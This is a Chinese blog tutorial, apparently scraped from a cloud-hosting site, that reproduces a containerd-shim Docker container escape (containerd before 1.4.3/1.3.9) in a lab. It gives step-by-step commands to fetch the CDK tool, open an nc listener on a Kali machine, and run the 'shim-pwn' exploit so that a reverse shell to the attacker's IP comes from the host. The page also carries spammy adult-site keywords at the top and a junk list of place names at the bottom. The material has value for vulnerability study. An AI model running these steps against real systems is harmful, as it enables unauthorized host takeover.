91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Docker容器逃逸漏洞案例分析

發布時間:2021-12-13 11:55:02 來源:億速云 閱讀:809 作者:iii 欄目:安全技術

本篇內容主要講解“Docker容器逃逸漏洞案例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Docker容器逃逸漏洞案例分析”吧!

一、漏洞介紹

漏洞原理

Containerd 是一個控制 runC 的守護進程,提供命令行客戶端和API,用于在一個機器上管理容器。當在docker使用–net=host參數啟動,與宿主機共享net namespace時,容器中的攻擊者可以繞過訪問權限訪問 containerd 的控制API 進而導致權限提升,從而實現Docker容器逃逸。

Containerd是行業標準的容器運行時,可作為Linux和Windows的守護程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正確地暴露給主機網絡容器。填充程序的API套接字的訪問控制驗證了連接過程的有效UID為0,但沒有以其他方式限制對抽象Unix域套接字的訪問。這將允許在與填充程序相同的網絡名稱空間中運行的惡意容器(有效UID為0,但特權降低)導致新進程以提升的特權運行。

影響版本

containerd < 1.4.3

containerd < 1.3.9

實驗環境:

被攻擊機(ubuntu)ip:192.168.163.129

被攻擊機containerd版本:1.2.6

攻擊機(kali)ip:192.168.163.131

POC下載:https://github.com/Xyntax/CDK/releases/tag/0.1.6

二、環境介紹

01

被攻擊機查看docker版本,顯示Containerd Version : 1.2.6

命令:docker version

Docker容器逃逸漏洞案例分析

02

為了區分被攻擊機的真實環境和被攻擊機的docker環境分別在/root目錄下面創建不同文件

被攻擊機的docker環境:docker環境下面的/root目錄下面沒有文件,為了便于區分,復制一個dockerfile文件到/root目錄下

Docker容器逃逸漏洞案例分析

被攻擊機的真實環境:真實環境下面的/root目錄放置了一個true文件

Docker容器逃逸漏洞案例分析

三、漏洞復現

01

被攻擊機真實環境中列出被攻擊機的容器

命令:docker ps

Docker容器逃逸漏洞案例分析

02

被攻擊機以共享主機網絡的方式啟動容器,并且直接進入了docker容器

通過 --net=host 作為啟動參數來運行一個容器(此處為了方便直接選擇已經存在的容器vulhub/activemq:5.11.1,但是會單獨再建立了一個容器,不會再下拉鏡像,但是兩個容器不相關)

命令:docker run -it --net=host vulhub/activemq:5.11.1 /bin/bash

Docker容器逃逸漏洞案例分析

03

被攻擊機真實環境中列出被攻擊機的容器列表,剛剛我們新建的容器為container id : 4ad4f620e6a5

命令:docker ps

Docker容器逃逸漏洞案例分析

04

在被攻擊機docker容器中執行命令,可看到抽象命名空間Unix域套接字

命令:cat /proc/net/unix|grep -a "containerd-shim"

原理備注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作為abstract unix socket暴露,在docker使用--net=host參數啟動、與宿主機共享net namespace時,其中的unix socket可以被容器內部訪問到,容器中攻擊者通過該socket可以通過API控制下游runc進程啟動新的惡意鏡像,并通過該鏡像逃逸。

Docker容器逃逸漏洞案例分析

05

為了方便查看,被攻擊機的docker環境下切換到/tmp目錄下面進行操作。下載對應的poc并且進行解壓操作。

下載poc命令:wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

解壓poc命令:tar -zxvf cdk_v0.1.6_release.tar.gz

Docker容器逃逸漏洞案例分析
Docker容器逃逸漏洞案例分析

06

kali攻擊機開啟監聽端口12345

命令:nc -lvp 12345

Docker容器逃逸漏洞案例分析

07

被攻擊機的docker環境中執行命令,利用poc建立起連接

命令:./cdk_linux_386 run shim-pwn 192.168.163.131 12345

Docker容器逃逸漏洞案例分析

08

Kali攻擊機成功獲取了被攻擊機真實環境的反彈shell(從/root目錄下的文件可看出反彈的為真實主機的shell)

Docker容器逃逸漏洞案例分析

備注:

本實驗存在很多注意事項(只限于本人實驗過程中的坑):

1、本來想使用vulhub的s2-032環境漏洞,利用Struts2工具遠程命令執行進行docker逃逸,發現執行命令:cat /proc/net/unix|grep -a "containerd-shim"時無法看到抽象命名空間Unix域套接字,執行poc的時候顯示Cannot find vulnerable socket(我使用的是docker exec -it 6970bdddacc6 /bin/bash進入的docker環境 )

2、注意利用--net=host新建容器的時候image名字是相同的,注意區分,否則執行的命令會進入另外一個容器

3、此利用條件是完全控制了被攻擊機的docker容器的環境下執行的,利用被攻擊機的docker環境控制被攻擊機的真實環境。

到此,相信大家對“Docker容器逃逸漏洞案例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

廊坊市| 道真| 北宁市| 阳东县| 通道| 深水埗区| 南和县| 拜城县| 东莞市| 秭归县| 阳曲县| 黄陵县| 连江县| 镇雄县| 佳木斯市| 静宁县| 内黄县| 黄大仙区| 吉安县| 得荣县| 图们市| 湟源县| 舟山市| 上栗县| 云龙县| 肥乡县| 锡林郭勒盟| 常熟市| 南陵县| 广昌县| 桐乡市| 磐安县| 沽源县| 永仁县| 婺源县| 抚宁县| 运城市| 黔西县| 乡宁县| 永顺县| 柯坪县|